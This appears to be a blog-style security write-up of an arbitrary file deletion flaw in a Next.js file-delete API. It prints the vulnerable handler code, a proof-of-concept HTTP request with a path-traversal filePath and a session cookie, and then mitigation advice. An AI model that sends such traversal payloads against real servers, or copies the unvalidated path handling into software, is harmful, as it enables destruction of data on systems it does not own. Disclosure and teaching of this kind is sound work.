Arbitrary File Deletion Bug: Explained & How To Fix

Aug 14, 2025 by Ahmed Latif 52 views

[BUG] Arbitrary File Deletion: A Security Vulnerability Explained

Hey guys! Today, we're diving deep into a critical security vulnerability – an arbitrary file deletion bug. This kind of bug can be a real headache, allowing attackers to potentially wipe out important system files. We will dissect a specific case, discuss how it works, and what makes it so dangerous. This security vulnerability discussion falls under the simstudioai,sim categories.

Arbitrary file deletion occurs when a program allows a user to specify a file path without proper validation. This means an attacker could manipulate the file path to point to any file on the system, leading to its deletion. Think of it like giving someone the keys to your entire house instead of just one room – they have access to everything, and that's not good. We need to really understand the gravity of arbitrary file deletion vulnerabilities, so let’s explore how this can be exploited and the potential damage it can cause.

This kind of file deletion vulnerability is particularly scary because it can lead to:

Data Loss: Critical system files, user data, or application files can be permanently deleted.
System Instability: Deleting essential system files can cause the entire system to crash or become unusable.
Denial of Service (DoS): Attackers can intentionally delete files required for the application or service to function, effectively shutting it down.
Privilege Escalation: In some cases, deleting specific files can allow attackers to gain higher-level access to the system.

The core issue is the lack of proper input validation and authorization checks. When a program receives a file path from a user, it needs to verify that the user has the necessary permissions to delete the specified file and that the path is within the expected boundaries. Without these checks, the program is essentially trusting the user to provide a safe and legitimate file path, which is a risky assumption.

To prevent arbitrary file deletion, developers must implement robust security measures. This includes:

Input Validation: Carefully validate and sanitize all user-provided file paths to ensure they conform to expected formats and do not contain malicious characters or path traversal sequences.
Authorization Checks: Verify that the user has the necessary permissions to delete the specified file before performing the deletion operation.
Path Normalization: Normalize file paths to remove any relative path components (e.g., ..) and resolve symbolic links to prevent attackers from bypassing security checks.
Principle of Least Privilege: Grant users only the minimum necessary permissions to perform their tasks. Avoid granting users excessive privileges that could be abused.
Regular Security Audits: Conduct regular security audits and penetration testing to identify and address potential vulnerabilities.

Let's dive into a specific example of an arbitrary file deletion vulnerability found in a piece of code. This real-world example will help us understand how these vulnerabilities manifest in code and how they can be exploited.

The vulnerability lies in a file deletion function that doesn't properly validate user-provided file paths. Let's break down the code step by step:

import { existsSync } from 'fs';
import { unlink } from 'fs/promises';
import { join } from 'path';
import type { NextRequest } from 'next/server';
import { createLogger } from '@/lib/logs/console/logger';
import { deleteFile, isUsingCloudStorage } from '@/lib/uploads';
import { UPLOAD_DIR } from '@/lib/uploads/setup';
import '@/lib/uploads/setup.server';

import {
  createErrorResponse,
  createOptionsResponse,
  createSuccessResponse,
  extractBlobKey,
  extractFilename,
  extractS3Key,
  InvalidRequestError,
  isBlobPath,
  isCloudPath,
  isS3Path,
} from '@/app/api/files/utils';

export const dynamic = 'force-dynamic';

const logger = createLogger('FilesDeleteAPI');

/**
 * Main API route handler for file deletion
 */
export async function POST(request: NextRequest) {
  try {
    const requestData = await request.json();
    const { filePath } = requestData;

    logger.info('File delete request received:', { filePath });

    if (!filePath) {
      throw new InvalidRequestError('No file path provided');
    }

    try {
      // Use appropriate handler based on path and environment
      const result =
        isCloudPath(filePath) || isUsingCloudStorage()
          ? await handleCloudFileDelete(filePath)
          : await handleLocalFileDelete(filePath);

      // Return success response
      return createSuccessResponse(result);
    } catch (error) {
      logger.error('Error deleting file:', error);
      return createErrorResponse(
        error instanceof Error ? error : new Error('Failed to delete file')
      );
    }
  } catch (error) {
    logger.error('Error parsing request:', error);
    return createErrorResponse(error instanceof Error ? error : new Error('Invalid request'))
  }
}

/**
 * Handle cloud file deletion (S3 or Azure Blob)
 */
async function handleCloudFileDelete(filePath: string) {
  // Extract the key from the path (works for both S3 and Blob paths)
  const key = extractCloudKey(filePath);
  logger.info(`Deleting file from cloud storage: ${key}`);

  try {
    // Delete from cloud storage using abstraction layer
    await deleteFile(key);
    logger.info(`File successfully deleted from cloud storage: ${key}`);

    return {
      success: true as const,
      message: 'File deleted successfully from cloud storage',
    };
  } catch (error) {
    logger.error('Error deleting file from cloud storage:', error);
    throw error;
  }
}

/**
 * Handle local file deletion
 */
async function handleLocalFileDelete(filePath: string) {
  const filename = extractFilename(filePath);
  const fullPath = join(UPLOAD_DIR, filename);

  logger.info(`Deleting local file: ${fullPath}`);

  if (!existsSync(fullPath)) {
    logger.info(`File not found, but that's okay: ${fullPath}`);
    return {
      success: true as const,
      message: "File not found, but that's okay",
    };
  }

  try {
    await unlink(fullPath);
    logger.info(`File successfully deleted: ${fullPath}`);

    return {
      success: true as const,
      message: 'File deleted successfully',
    };
  } catch (error) {
    logger.error('Error deleting local file:', error);
    throw error;
  }
}

/**
 * Extract cloud storage key from file path (works for both S3 and Blob)
 */
function extractCloudKey(filePath: string): string {
  if (isS3Path(filePath)) {
    return extractS3Key(filePath);
  }

  if (isBlobPath(filePath)) {
    return extractBlobKey(filePath);
  }

  // Backwards-compatibility: allow generic paths like "/api/files/serve/<key>"
  if (filePath.startsWith('/api/files/serve/')) {
    return decodeURIComponent(filePath.substring('/api/files/serve/'.length));
  }

  // As a last resort assume the incoming string is already a raw key.
  return filePath;
}

/**
 * Handle CORS preflight requests
 */
export async function OPTIONS() {
  return createOptionsResponse();
}

The POST function is the main handler for file deletion requests. It receives a filePath from the request body and then calls either handleCloudFileDelete or handleLocalFileDelete depending on whether the file is stored in the cloud or locally. The critical part is within the handleLocalFileDelete function:

async function handleLocalFileDelete(filePath: string) {
  const filename = extractFilename(filePath);
  const fullPath = join(UPLOAD_DIR, filename);

  logger.info(`Deleting local file: ${fullPath}`);

  if (!existsSync(fullPath)) {
    logger.info(`File not found, but that's okay: ${fullPath}`);
    return {
      success: true as const,
      message: "File not found, but that's okay",
    };
  }

  try {
    await unlink(fullPath);
    logger.info(`File successfully deleted: ${fullPath}`);

    return {
      success: true as const,
      message: 'File deleted successfully',
    };
  } catch (error) {
    logger.error('Error deleting local file:', error);
    throw error;
  }
}

Here's where the vulnerability lies:

The extractFilename function extracts the filename from the provided path. However, it doesn't perform any validation to prevent path traversal attacks.
The join function combines UPLOAD_DIR with the extracted filename. While join is designed to create a safe path, it doesn't prevent an attacker from using relative paths like .. to traverse directories.
The unlink function then deletes the file at the constructed fullPath. Since there are no checks to ensure the file is within the intended directory, an attacker can use path traversal to delete arbitrary files on the system.

To demonstrate the vulnerability, let's look at a proof of concept (POC). This is how an attacker could exploit the file deletion function.

The following HTTP request can be used to trigger the vulnerability:

POST /api/files/delete HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: */*
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:3000/
Origin: http://localhost:3000
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Content-Type: application/json
Cookie: next-auth.session-token=eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..tpTZ9UApI6gJn8ZS.N5y5nPNBvscfswSiO1Z5a-4c4cf6lPzHFIXLYOs66mqw5K8VWrwHIe7nCkEN_xffcJcLx_8xTSAHW7Frg85JDHXNQLgIcbIwE1J-tc9v78zoaKzbNeQk1RVWWcs0RonuY_rHnixeFPXwTacJFq25VFaHCtQU6aPoswnjtpRZeo2n_luZUmeoaRgWSduLlGK0l1bylJbpTauTQBbIt7_GwGFShKOn1NkCUwJvkGEfrfU8.h70JsVTjnRavDZGesRts9w
Content-Length: 77

{
  "filePath": "/api/files/serve/../../../../../../../../../tmp/cat.txt"
}

In this request, the filePath is set to /api/files/serve/../../../../../../../../../tmp/cat.txt. The .. sequences are used to traverse up the directory tree, eventually reaching the /tmp directory and deleting the cat.txt file. It's a classic example of a path traversal attack.

The attached images visually demonstrate this vulnerability in action. You can see how the attacker crafts the malicious file path and how the system blindly follows it, leading to the deletion of the targeted file.

This arbitrary file deletion vulnerability highlights the importance of secure coding practices. So, what can developers do to prevent these vulnerabilities? Here’s a breakdown of essential mitigation strategies:

Input Validation is Key: Always validate and sanitize user inputs, especially file paths. This means checking if the path is within the expected directory and doesn't contain any malicious characters or sequences like ... This is your first line of defense against file deletion attacks.
Use Allow Lists, Not Block Lists: Instead of trying to block specific malicious patterns, define a list of allowed characters and paths. Anything not on the list should be rejected. This approach is generally more secure because it's harder to bypass an allow list.
Path Normalization: Normalize file paths to resolve any relative path components. This will help prevent attackers from using .. to traverse directories.
Principle of Least Privilege: Ensure that the application runs with the minimum necessary permissions. This limits the damage an attacker can do if they manage to exploit a vulnerability.
Regular Security Audits and Penetration Testing: Conduct regular security audits and penetration testing to identify and address potential vulnerabilities. This is crucial for maintaining a secure application.
Secure File Handling Libraries: Use well-vetted and secure file handling libraries that provide built-in protection against path traversal and other file-related vulnerabilities.
Centralized File Management: Implement a centralized file management system that enforces access controls and provides auditing capabilities.
Error Handling: Implement proper error handling to prevent sensitive information from being leaked in error messages. For example, avoid displaying the full file path in error messages.
Web Application Firewalls (WAFs): Deploy a WAF to detect and block common web application attacks, including path traversal attacks.
Content Security Policy (CSP): Implement CSP to restrict the sources from which the application can load resources, which can help mitigate the risk of cross-site scripting (XSS) attacks that could be used to exploit file deletion vulnerabilities.

In conclusion, arbitrary file deletion vulnerabilities are a serious threat that can have devastating consequences. By understanding how these vulnerabilities work and implementing the recommended mitigation strategies, developers can build more secure applications and protect their systems from attack. Remember, a proactive approach to security is always better than a reactive one. Stay vigilant, code securely, and keep those files safe!

What security checks are missing in the file deletion function that allow arbitrary system file deletion?
How can attackers exploit the lack of security checks on user-controllable file paths to delete arbitrary system files?
Explain the steps an attacker would take to exploit the arbitrary file deletion vulnerability detailed in the code.